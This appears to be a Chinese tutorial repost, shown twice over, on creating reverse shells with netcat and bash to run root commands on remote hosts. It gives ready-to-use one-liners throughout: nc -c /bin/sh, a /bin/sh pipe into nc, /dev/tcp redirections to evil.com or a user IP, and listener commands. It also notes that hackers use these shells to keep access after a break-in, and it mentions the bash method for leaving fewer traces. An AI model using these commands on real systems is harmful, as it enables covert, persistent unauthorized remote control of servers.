如何使用netcat或bash创建反向shell来执行远程root命令
2014-01-02 14:26
591 查看
反向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,“一个普通的shell或简单的SSH通道不是也能实现这些吗?”不,无法实现。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。
反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。
bind shell是用户用BSAH,将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。
反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。
远程Unix主机
安装了netcat
当通过shell登录到远程主机后,下面的指令能轻松的将shell发送到你的机器上:
nc -c /bin/sh <你的IP> <任何一个未封锁的端口>
你甚至能通过netcat来pipe BASH。
/bin/sh | nc <你的IP> <任何未封锁的端口>
然后监听这个shell:
nc -l -p <相同的端口> -vvv
这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。
监听shell:
nc -l -p <任何未封锁的端口> -vvv
先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。
exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一个反向shell:
0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196
这样,你就可以轻松是通过netcat发送任何命令了。
[英文原文: How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH ]
via : http://www.aqee.net/create-reverse-shell-to-remotely-execute-root-commands-using-netcat-or-bash/
反向Shell(Reverse Shell)
反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。
Bind Shell
bind shell是用户用BSAH,将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。
环境要求
远程Unix主机安装了netcat
使用NetCat实现反向shell交互
当通过shell登录到远程主机后,下面的指令能轻松的将shell发送到你的机器上:nc -c /bin/sh <你的IP> <任何一个未封锁的端口>
你甚至能通过netcat来pipe BASH。
/bin/sh | nc <你的IP> <任何未封锁的端口>
然后监听这个shell:
nc -l -p <相同的端口> -vvv
通过BASH实现反向shell
这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。监听shell:
nc -l -p <任何未封锁的端口> -vvv
先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。
exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一个反向shell:
0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196
这样,你就可以轻松是通过netcat发送任何命令了。
[英文原文: How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH ]
via : http://www.aqee.net/create-reverse-shell-to-remotely-execute-root-commands-using-netcat-or-bash/
相关文章推荐
- 如何使用NetCat或BASH创建反向Shell来执行远程Root命令
- 如何使用NetCat或BASH创建反向Shell来执行远程Root命令
- 如何使用NetCat或BASH创建反向Shell来执行操作
- 如何使用Go语言实现远程执行命令
- 如何使用 paramiko 模块来实现远程执行OS命令和文件上传下载?
- java中如何使用jsch远程连接linux服务器并执行命令
- 如何使用 PsExec 执行远程命令
- Qt如何执行bash命令,并获取返回结果
- Linux下使用SSH远程执行命令方法收集
- HIVE的安装配置、mysql的安装、hive创建表、创建分区、修改表等内容、hive beeline使用、HIVE的四种数据导入方式、使用Java代码执行hive的sql命令
- linux 使用ssh 执行远程命令
- ruby使用Net::SSH和Net::SCP,实现远程命令执行
- asp使用wmi远程执行命令
- salt stack的远程命令如何执行-笔记
- 使用ssh在远程执行命令
- 使用expect工具ssh登录远程服务器并执行命令操作
- python 8-1 如何使用多线程,Thread创建线程,执行函数赋值给target//类+函数放在run方法中执行
- linux c之通过popen和pclose函数创建管道执行shell 运行命令使用总结
- 使用jar命令创建可执行的jar包
- shell脚本使用ssh命令连接主机,自动创建目录,分发程序,执行命令